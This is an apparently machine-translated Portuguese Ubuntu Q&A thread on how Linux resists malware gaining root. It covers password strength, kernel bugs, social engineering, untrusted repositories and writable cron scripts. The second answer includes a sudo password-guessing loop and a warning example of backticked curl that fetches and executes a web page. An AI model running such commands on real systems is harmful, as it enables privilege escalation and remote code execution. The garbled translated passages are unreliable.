Como o sistema é mantido seguro?

24

Eu entendo que, se algum malware entrar em um sistema Linux, ele terá, no máximo, um privilégio no nível do usuário e arruinará tudo que estiver ao alcance do usuário, ou seja, os próprios arquivos do usuário.

Mas o que exatamente impede que os malwares obtenham acesso em nível de raiz? Não pode de alguma forma quebrar a senha de dentro?

    
por Oxwivi 25.02.2011 / 19:38

2 respostas

20

Esta é uma questão complexa. Há muitas camadas diferentes de segurança em um sistema Ubuntu, desde estruturas complexas como o AppArmor até humilhar variáveis do kernel como mmap_min_addr . Você pode adicionar alguns recursos do kernel, como randomização de memória no mix. Você pode encontrar uma lista deles junto com explicações rápidas no Wiki do Ubuntu .

Outro fator importante é que as atualizações são rápidas e fáceis, de modo que a maioria dos computadores será atualizada para as últimas correções de segurança.

Até onde eu sei, um invasor que obteve acesso local ao seu computador tem três maneiras de escalar os privilégios do kernel:

  1. Crack a senha. Mas isso vai ser muito difícil, a senha é armazenada criptografada, usando algoritmos sem falhas conhecidas. Levará séculos para quebrá-lo.

  2. Erro no kernel. Mas todos os recursos de segurança do kernel entrarão no caminho.

  3. Engane o usuário para fornecer a senha, ou seja, engenharia social. Basta mostrar um diálogo de senha falso ou usar outro truque. Essa é a maneira mais fácil de fazer isso.

O terceiro ponto é a vulnerabilidade mais fraca no momento.

    
por Javier Rivera 25.02.2011 / 20:37
15

Não é possível colocar a senha de root em si, pois o Ubuntu desativou o usuário root por padrão. No entanto, se o seu usuário pode se tornar root através do sudo e sua senha é fácil de adivinhar / força bruta, você tem um sistema inseguro. Exemplo de script tentando testar alguma senha:

#!/bin/sh
for pass in password 123 ubuntu pass; do
    echo $pass|sudo -S evil_command
done

Adicionar um repositório não confiável permite que programas desse repositório sejam instalados. Mesmo se você não instalar explicitamente um aplicativo como sudo apt-get install [app-from-repo] , o repositório ainda poderá afetar outros programas fazendo com que o Ubuntu acredite que o repositório contém uma versão mais recente de um determinado programa.

O processo de atualização é executado como raiz, caso contrário, os arquivos não podem ser gravados em /usr/bin ou /etc . Um disparador de instalação é executado como root também e pode executar comandos arbitrários e, possivelmente, prejudiciais. Agora, não fique preocupado, a ação manual é necessária para atualizar os programas e os repositórios do Ubuntu são seguros. Software de código fechado como o Windows nunca pode ser totalmente confiável porque você não pode verificar a fonte de código malicioso, mas você pode rever a fonte do aplicativo Ubuntu se você precisar (não se aplica a programas proprietários como sun-java6 ou Flash). / p>

Como mencionado por Javier Rivera, os bugs do kernel podem levar à execução arbitrária de código, mas os softwares com bugs são possivelmente perigosos, especialmente binarios% bin_de% binários (binários que serão executados sob o proprietário do arquivo, root) e outros programas com bugs rodando como root.

Você pode criar falhas de segurança em seu sistema se não prestar atenção ao que está fazendo. Por exemplo, sem entender completamente o conceito de cronjobs, você adicionou um cronjob a setsuid , que executa um programa em sua pasta pessoal (por exemplo, /etc/cron.daily . Se o arquivo myscript.sh for gravável, você pode ser excluído por você , uma exploração poderia colocar código malicioso em /bin/sh /home/your-username/myscript.sh , que seria executado como root (escalação de privilégios).

Para se manter seguro, use sua mente! Não execute comandos de fontes não confiáveis se você não souber o que faz. Se alguém disser executar myscript.sh com carrapatos, não o faça. 3221233674 é outra maneira de escrever 'curl 3221233674' (IP de example.com). Então, seria igual a:

'curl http://example.com/'

Aqueles back-ticks fazem com que a saída seja executada como comandos do shell. Em inglês simples, "Faça o download da página link e tente executar a página baixada".

Primeiro, você não verá algo malicioso no comando fornecido. Mas agora, você sabe que pode ser abusado também.

Sempre verifique os comandos / scripts obtidos de fontes não confiáveis, como a Internet.

    
por Lekensteyn 25.02.2011 / 22:14

Tags